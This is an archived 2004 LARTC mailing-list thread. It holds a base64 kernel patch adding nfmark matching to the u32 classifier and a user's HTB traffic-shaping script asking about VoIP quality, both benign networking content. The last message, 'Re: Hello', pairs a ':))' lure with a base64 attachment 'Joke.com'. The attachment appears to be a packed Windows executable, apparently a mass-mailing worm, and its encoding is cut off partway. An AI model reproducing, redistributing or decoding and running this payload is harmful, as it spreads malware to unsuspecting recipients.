 <20041109133035.GH31969@postel.suug.ch>
Message-ID: <Pine.LNX.4.61.0411091543220.7105@webhosting.rdsbv.ro>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1646943047-193533873-1100007861=:7366
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; format=flowed
Content-ID: <Pine.LNX.4.61.0411091544291.7366@webhosting.rdsbv.ro>

> * Catalin(ux aka Dino) BOIE <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro> 2004-11-09 14:27
>> This is the try number two.
>> What was changed:
>> - Added selectable choice in Kconfig file (thanks Jamal!)
>> - Don't abuse tc_u32_sel to not break backward compatibility (thanks
>> Patrick!).
>
> Your patchs looks fine except for missing dependcy on CONFIG_NETFILTER.
> Either make CLS_U32_MARK dependant on it or #ifdef the references
> to skb->nfmark.

Patch updated and attached.

> It might be fair to tell you that this code is likely to be removed
> again once we have the metadata match.

Jamal already warned me about this.
Is somebody already working on it?

> Cheers

Thank you!
---
Catalin(ux aka Dino) BOIE
catab at deuroconsult.ro
http://kernel.umbrella.ro/
---1646943047-193533873-1100007861=:7366
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="net-match-nfmark-in-u32-try3.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.61.0411091544210.7366@webhosting.rdsbv.ro>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="net-match-nfmark-in-u32-try3.patch"

LS0tIGxpbnV4Lm9yaWcvbmV0L3NjaGVkL0tjb25maWcJMjAwNC0xMC0xOSAw
MDo1NTowNi4wMDAwMDAwMDAgKzAzMDANCisrKyBsaW51eC9uZXQvc2NoZWQv
S2NvbmZpZwkyMDA0LTExLTA5IDE1OjM5OjQ3LjAwMDAwMDAwMCArMDIwMA0K
QEAgLTMzNCw2ICszMzQsMTggQEAgY29uZmlnIE5FVF9DTFNfSU5EDQogCSAg
UmVxdWlyZXMgYSBuZXcgaXByb3V0ZTINCiAJICBZb3UgTVVTVCBOT1QgdHVy
biB0aGlzIG9uIGlmIHlvdSBkb250IGhhdmUgYW4gdXBkYXRlIGlwcm91dGUy
Lg0KIA0KK2NvbmZpZyBDTFNfVTMyX01BUksNCisJYm9vbCAiVXNlIG5mbWFy
ayBhcyBhIGtleSBpbiBVMzIgY2xhc3NpZmllciINCisJZGVwZW5kcyBvbiBO
RVRfQ0xTX1UzMiAmJiBORVRGSUxURVINCisJaGVscA0KKwkgIFRoaXMgYWxs
b3dzIHlvdSB0byBtYXRjaCBtYXJrIGluIGEgdTMyIGZpbHRlci4NCisJICBF
eGFtcGxlOg0KKwkgIHRjIGZpbHRlciBhZGQgZGV2IGV0aDAgcHJvdG9jb2wg
aXAgcGFyZW50IDE6MCBwcmlvIDUgdTMyIFwNCisJCW1hdGNoIG1hcmsgMHgw
MDkwIDB4ZmZmZiBcDQorCQltYXRjaCBpcCBkc3QgNC40LjQuNCBcDQorCQlm
bG93aWQgMTo5MA0KKwkgIFlvdSBtdXN0IHVzZSBhIG5ldyBpcHJvdXRlMiB0
byB1c2UgdGhpcyBmZWF0dXJlLg0KKw0KIGNvbmZpZyBORVRfQ0xTX1JTVlAN
CiAJdHJpc3RhdGUgIlNwZWNpYWwgUlNWUCBjbGFzc2lmaWVyIg0KIAlkZXBl
bmRzIG9uIE5FVF9DTFMgJiYgTkVUX1FPUw0KLS0tIGxpbnV4Lm9yaWcvbmV0
L3NjaGVkL2Nsc191MzIuYwkyMDA0LTEwLTE5IDAwOjUzOjQ1LjAwMDAwMDAw
MCArMDMwMA0KKysrIGxpbnV4L25ldC9zY2hlZC9jbHNfdTMyLmMJMjAwNC0x
MS0wOSAxMzo1Njo0Mi4wMDAwMDAwMDAgKzAyMDANCkBAIC0yNyw2ICsyNyw3
IEBADQogICoJSkhTOiBXZSBzaG91bGQgcmVtb3ZlIHRoZSBDT05GSUdfTkVU
X0NMU19JTkQgZnJvbSBoZXJlDQogICoJZXZlbnR1YWxseSB3aGVuIHRoZSBt
ZXRhIG1hdGNoIGV4dGVuc2lvbiBpcyBtYWRlIGF2YWlsYWJsZQ0KICAqDQor
ICoJbmZtYXJrIG1hdGNoIGFkZGVkIGJ5IENhdGFsaW4odXggYWthIERpbm8p
IEJPSUUgPGNhdGFiIGF0IHVtYnJlbGxhLnJvPg0KICAqLw0KIA0KICNpbmNs
dWRlIDxhc20vdWFjY2Vzcy5oPg0KQEAgLTU3LDYgKzU4LDEzIEBADQogI2lu
Y2x1ZGUgPG5ldC9wa3Rfc2NoZWQuaD4NCiANCiANCitzdHJ1Y3QgdGNfdTMy
X21hcmsNCit7DQorCV9fdTMyCQl2YWw7DQorCV9fdTMyCQltYXNrOw0KKwlf
X3UzMgkJc3VjY2VzczsNCit9Ow0KKw0KIHN0cnVjdCB0Y191X2tub2RlDQog
ew0KIAlzdHJ1Y3QgdGNfdV9rbm9kZQkqbmV4dDsNCkBAIC03OCw2ICs4Niw5
IEBAIHN0cnVjdCB0Y191X2tub2RlDQogI2lmZGVmIENPTkZJR19DTFNfVTMy
X1BFUkYNCiAJc3RydWN0IHRjX3UzMl9wY250CSpwZjsNCiAjZW5kaWYNCisj
aWZkZWYgQ09ORklHX0NMU19VMzJfTUFSSw0KKwlzdHJ1Y3QgdGNfdTMyX21h
cmsJbWFyazsNCisjZW5kaWYNCiAJc3RydWN0IHRjX3UzMl9zZWwJc2VsOw0K
IH07DQogDQpAQCAtMTM5LDYgKzE1MCwxNiBAQCBuZXh0X2tub2RlOg0KIAkJ
bi0+cGYtPnJjbnQgKz0xOw0KIAkJaiA9IDA7DQogI2VuZGlmDQorDQorI2lm
ZGVmIENPTkZJR19DTFNfVTMyX01BUksNCisJCWlmICgoc2tiLT5uZm1hcmsg
JiBuLT5tYXJrLm1hc2spICE9IG4tPm1hcmsudmFsKSB7DQorCQkJbiA9IG4t
Pm5leHQ7DQorCQkJZ290byBuZXh0X2tub2RlOw0KKwkJfSBlbHNlIHsNCisJ
CQluLT5tYXJrLnN1Y2Nlc3MrKzsNCisJCX0NCisjZW5kaWYNCisNCiAJCWZv
ciAoaSA9IG4tPnNlbC5ua2V5czsgaT4wOyBpLS0sIGtleSsrKSB7DQogDQog
CQkJaWYgKCgqKHUzMiopKHB0citrZXktPm9mZisob2ZmMiZrZXktPm9mZm1h
c2spKV5rZXktPnZhbCkma2V5LT5tYXNrKSB7DQpAQCAtNjE1LDYgKzYzNiw3
IEBAIHN0YXRpYyBpbnQgdTMyX2NoYW5nZShzdHJ1Y3QgdGNmX3Byb3RvICoN
CiAJc3RydWN0IHRjX3VfaG5vZGUgKmh0Ow0KIAlzdHJ1Y3QgdGNfdV9rbm9k
ZSAqbjsNCiAJc3RydWN0IHRjX3UzMl9zZWwgKnM7DQorCXN0cnVjdCB0Y191
MzJfbWFyayAqbWFyazsNCiAJc3RydWN0IHJ0YXR0ciAqb3B0ID0gdGNhW1RD
QV9PUFRJT05TLTFdOw0KIAlzdHJ1Y3QgcnRhdHRyICp0YltUQ0FfVTMyX01B
WF07DQogCXUzMiBodGlkOw0KQEAgLTcxOCw2ICs3NDAsMTYgQEAgc3RhdGlj
IGludCB1MzJfY2hhbmdlKHN0cnVjdCB0Y2ZfcHJvdG8gKg0KIAl9DQogCW4t
PmZzaGlmdCA9IGk7DQogfQ0KKw0KKyNpZmRlZiBDT05GSUdfQ0xTX1UzMl9N
QVJLDQorCWlmICh0YltUQ0FfVTMyX01BUkstMV0gPT0gMCB8fA0KKwkJUlRB
X1BBWUxPQUQodGJbVENBX1UzMl9NQVJLLTFdKSA8IHNpemVvZihzdHJ1Y3Qg
dGNfdTMyX21hcmspKQ0KKwkJcmV0dXJuIC1FSU5WQUw7DQorCW1hcmsgPSBS
VEFfREFUQSh0YltUQ0FfVTMyX01BUkstMV0pOw0KKwltZW1jcHkoJm4tPm1h
cmssIG1hcmssIHNpemVvZihzdHJ1Y3QgdGNfdTMyX21hcmspKTsNCisJbi0+
bWFyay5zdWNjZXNzID0gMDsNCisjZW5kaWYNCisNCiAJZXJyID0gdTMyX3Nl
dF9wYXJtcyh0cC0+cSwgYmFzZSwgaHQsIG4sIHRiLCB0Y2FbVENBX1JBVEUt
MV0pOw0KIAlpZiAoZXJyID09IDApIHsNCiAJCXN0cnVjdCB0Y191X2tub2Rl
ICoqaW5zOw0KQEAgLTgwNSw2ICs4MzcsMTIgQEAgc3RhdGljIGludCB1MzJf
ZHVtcChzdHJ1Y3QgdGNmX3Byb3RvICp0cA0KIAkJCVJUQV9QVVQoc2tiLCBU
Q0FfVTMyX0NMQVNTSUQsIDQsICZuLT5yZXMuY2xhc3NpZCk7DQogCQlpZiAo
bi0+aHRfZG93bikNCiAJCQlSVEFfUFVUKHNrYiwgVENBX1UzMl9MSU5LLCA0
LCAmbi0+aHRfZG93bi0+aGFuZGxlKTsNCisNCisjaWZkZWYgQ09ORklHX0NM
U19VMzJfTUFSSw0KKwkJaWYgKG4tPm1hcmsudmFsIHx8IG4tPm1hcmsubWFz
aykNCisJCQlSVEFfUFVUKHNrYiwgVENBX1UzMl9NQVJLLCBzaXplb2Yobi0+
bWFyayksICZuLT5tYXJrKTsNCisjZW5kaWYNCisNCiAjaWZkZWYgQ09ORklH
X05FVF9DTFNfQUNUDQogCQkvKiBhZ2FpbiBmb3IgYmFja3dhcmQgY29tcGF0
aWJsZSBtb2RlIC0gd2Ugd2FudA0KIAkJKiAgdG8gd29yayB3aXRoIGJvdGgg
b2xkIGFuZCBuZXcgbW9kZXMgb2YgZW50ZXJpbmcNCi0tLSBsaW51eC5vcmln
L2luY2x1ZGUvbGludXgvcGt0X2Nscy5oCTIwMDQtMTAtMTkgMDA6NTM6MDcu
MDAwMDAwMDAwICswMzAwDQorKysgbGludXgvaW5jbHVkZS9saW51eC9wa3Rf
Y2xzLmgJMjAwNC0xMS0wOSAwOTo1MDo0NS4wMDAwMDAwMDAgKzAyMDANCkBA
IC0xOTAsNiArMTkwLDcgQEAgZW51bQ0KIAlUQ0FfVTMyX0FDVCwgICANCiAJ
VENBX1UzMl9JTkRFViwNCiAJVENBX1UzMl9QQ05ULA0KKwlUQ0FfVTMyX01B
UkssDQogCV9fVENBX1UzMl9NQVgNCiB9Ow0KIA0K

---1646943047-193533873-1100007861=:7366--

From ricardo_soria@yahoo.com  Tue Nov  9 17:52:03 2004
From: ricardo_soria@yahoo.com (Ricardo Soria)
Date: Tue, 9 Nov 2004 11:52:03 -0600 (CST)
Subject: [LARTC] SEPARATING VOIP AND SURFING
Message-ID: <20041109175203.11372.qmail@web41524.mail.yahoo.com>

Dear list:

I have a problem I cannot handle yet, and need to
solve it as soon as possible.  Would be very greatful
with anybody who can help me.

I have a 512/512 link to internet, that I want to
share between several computers.  I have eth0, with a
public IP address, conected to Internet, and also,
eth1, with a private IP address, for network with the
surfing computers.  I have a main class with the whole
512kbit, then 2 child classes in this way (you can see
the complete script at the end):

class 1: rate = ceil = 64kbit, prio 0, for VOIP
class 2: rate = ceil = 448kbit, for SURFING

Class 2 is subdivided again in about 20 classes, for
20 surfing computers, this way:

class 3: rate = 18kbit, ceil = 448kbit, prio 1, SURF

I have a classical problem (I think).  As you can see,
first 64kbit are for VOIP, so, it is necesary the best
quality, and the minimal delays.  64Kbit is pretty
enough for 1 VOIP channel (it is supposed to really
use no more than 20kbit).  And also, the 64kbit class
has the highest priority.  Nevertheless, specially
when all 20 users are surfing, or some user are
browsing weight pages, or when 2 or more users are
downloading at the same time, I cannot get VOIP to
work properly, because quality becomes very poor.  I
have made all kind of imaginable test, probes and
combinations, trying to test with different burst
values for classes, attaching sfq qdiscs to all leaf
classes, then only to surfing classes, then only to
VOIP classes, and even, gaming with R2Q/Quantums, that
would not be necessary, because 64Kbit is very more
than enough.

So please, does anyone have any idea how to completely
separate VOIP and SURFING, making 2 independent
channels, without one service affect to other ??

Very thanks in advance.

If you are still able to read, after having read all
this stuff, here goes my script as is now...

Best Regards to everybody.

Ricardo.

================================================

#!/bin/bash

tc qdisc add dev eth1 root handle 1: htb default 121
r2q 1
tc qdisc add dev eth0 root handle 1: htb default 20
r2q 5

tc class add dev eth1 parent 1: classid 1:1 htb rate
512kbit ceil 512kbit
tc class add dev eth0 parent 1: classid 1:1 htb rate
512kbit ceil 512kbit

tc class add dev eth1 parent 1:1 classid 1:10 htb rate
64kbit ceil 64kbit prio 0
tc class add dev eth0 parent 1:1 classid 1:10 htb rate
64kbit ceil 64kbit prio 0

tc class add dev eth1 parent 1:1 classid 1:20 htb rate
448kbit ceil 448kbit prio 1
tc class add dev eth0 parent 1:1 classid 1:20 htb rate
448kbit ceil 448kbit prio 1

# PER MACHINE OR IP CLASSES

tc class add dev eth1 parent 1:20 classid 1:90 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:91 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:101 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:102 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:103 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:104 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:105 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:106 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:107 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:108 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:109 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:110 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:111 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:112 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:113 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:114 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:115 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:116 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:117 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:118 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:119 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:120 htb
rate 18kbit ceil 448kbit prio 1
tc class add dev eth1 parent 1:20 classid 1:121 htb
rate 18kbit ceil 448kbit prio 1

# SFQ QDISCS PER LEAF CLASS

# VOIP
tc qdisc add dev eth0 parent 1:10 handle 10: sfq
perturb 10
tc qdisc add dev eth0 parent 1:20 handle 20: sfq
perturb 10

#SURFING
tc qdisc add dev eth1 parent 1:10 handle 10: sfq
perturb 10
tc qdisc add dev eth1 parent 1:90 handle 90: sfq
perturb 10
tc qdisc add dev eth1 parent 1:91 handle 91: sfq
perturb 10
tc qdisc add dev eth1 parent 1:101 handle 101: sfq
perturb 10
tc qdisc add dev eth1 parent 1:102 handle 102: sfq
perturb 10
tc qdisc add dev eth1 parent 1:103 handle 103: sfq
perturb 10
tc qdisc add dev eth1 parent 1:104 handle 104: sfq
perturb 10
tc qdisc add dev eth1 parent 1:105 handle 105: sfq
perturb 10
tc qdisc add dev eth1 parent 1:106 handle 106: sfq
perturb 10
tc qdisc add dev eth1 parent 1:107 handle 107: sfq
perturb 10
tc qdisc add dev eth1 parent 1:108 handle 108: sfq
perturb 10
tc qdisc add dev eth1 parent 1:109 handle 109: sfq
perturb 10
tc qdisc add dev eth1 parent 1:110 handle 110: sfq
perturb 10
tc qdisc add dev eth1 parent 1:111 handle 111: sfq
perturb 10
tc qdisc add dev eth1 parent 1:112 handle 112: sfq
perturb 10
tc qdisc add dev eth1 parent 1:113 handle 113: sfq
perturb 10
tc qdisc add dev eth1 parent 1:114 handle 114: sfq
perturb 10
tc qdisc add dev eth1 parent 1:115 handle 115: sfq
perturb 10
tc qdisc add dev eth1 parent 1:116 handle 116: sfq
perturb 10
tc qdisc add dev eth1 parent 1:117 handle 117: sfq
perturb 10
tc qdisc add dev eth1 parent 1:118 handle 118: sfq
perturb 10
tc qdisc add dev eth1 parent 1:119 handle 119: sfq
perturb 10
tc qdisc add dev eth1 parent 1:120 handle 120: sfq
perturb 10
tc qdisc add dev eth1 parent 1:121 handle 121: sfq
perturb 10

# FILTERS

# VOIP
tc filter add dev eth0 protocol ip parent 1:0 prio 0
u32 match ip src 216.118.226.244 flowid 1:10
tc filter add dev eth1 protocol ip parent 1:0 prio 0
u32 match ip dst 216.118.226.244 flowid 1:10

# SURFING
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.2   flowid 1:90
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.3   flowid 1:91
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.101 flowid 1:101
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.102 flowid 1:102
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.103 flowid 1:103
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.104 flowid 1:104
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.105 flowid 1:105
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.106 flowid 1:106
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.107 flowid 1:107
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.108 flowid 1:108
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.109 flowid 1:109
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.110 flowid 1:110
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.111 flowid 1:111
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.112 flowid 1:112
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.113 flowid 1:113
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.114 flowid 1:114
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.115 flowid 1:115
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.116 flowid 1:116
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.117 flowid 1:117
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.118 flowid 1:118
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.119 flowid 1:119
tc filter add dev eth1 protocol ip parent 1:0 prio 1
u32 match ip dst 192.168.0.120 flowid 1:120

# END


_________________________________________________________
Do You Yahoo!?
Información de Estados Unidos y América Latina, en Yahoo! Noticias.
Visítanos en http://noticias.espanol.yahoo.com

From llu@wp.pl  Tue Nov  9 23:28:44 2004
From: llu@wp.pl (Llu)
Date: Wed, 10 Nov 2004 00:28:44 +0100
Subject: [LARTC] Re: Hello
Message-ID: <cwcwreuzdsmnujwvbql@mailman.ds9a.nl>

----------weochhjdcggqbucpmvqd
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:))

<br>
</body></html>

----------weochhjdcggqbucpmvqd
Content-Type: application/octet-stream; name="Joke.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Joke.com"

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA
ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAcPYAAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAAcAYAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAcAYAAADw
AABwBgAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA
6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb
aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr
As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo
AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC
KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo
AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE
UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA
cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ
6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS
w+slNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP//
/3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFp
WFj/4FlSVY2F2iJAAFArwGT/MGSJIOsDx4ToUcPrA8eEmllB6/AAAAAAAAAAAOCiAAAAAAAA
AAAAAPiiAADgogAA2KIAAAAAAAAAAAAABaMAANiiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFuj
AAAAAAAAEKMAACGjAAAwowAAPqMAAE2jAAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwA
AABHZXRQcm9jQWRkcmVzcwAAAExvYWRMaWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVh
bEFsbG9jAAAAVmlydHVhbEZyZWUAAABNZXNzYWdlQm94QQAAAAAAOOPsgmcZU9rvqSegZqhi
3GHFZPb1lPM0F85JitM9UFESsYF8QP/EiezhkOVdRRXCPcj/Im/5FKV1/mqpkw3yKvte95dg
yrd1XilACv8JupNPzsEIInl8wpYfM/uyzxJ5UCcGHYPA4trGBRuKJ9HMfRfp5oMoJmjokqGD
IT6M4CoueHICOjHBAtW3ZeSQ6aP9l9zd0k48/DcTSu1fEeiCOJL0d39g/xyab3CktnEkHUFT
CFzisjUEyJsg4LLn9YPllwezsmCH/FoLDp8ttt5rlq2cy18Y2O3lemS1iy+B35D9veT2X3ys
6mupMisPtw82NJQBvU4U30nV3kdI4KNtHjiz9AUOmU+oQYcw9M3v9pJHb2MNmFxxkYvyqDWc
e6RdxePV2t324hZBq8QYxv3max0++yYDcGkyACO8/G4KtSp3pWGzY1JcpBqpAbzhyP/ULnKA
z0+b3f/VkRjRxB2PmaEIWHRwGhBrg0Uw0PSJe8Yg0h/2VmzAKy5oXOlQFRj8Zsw4db79HYlW
Pr9+CuuEJTjld0kFDMxhu9qwrqoSyHV8udPRW1idiK0838ZRLmgqA95Jliqzqa8fl8gTLxr+
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
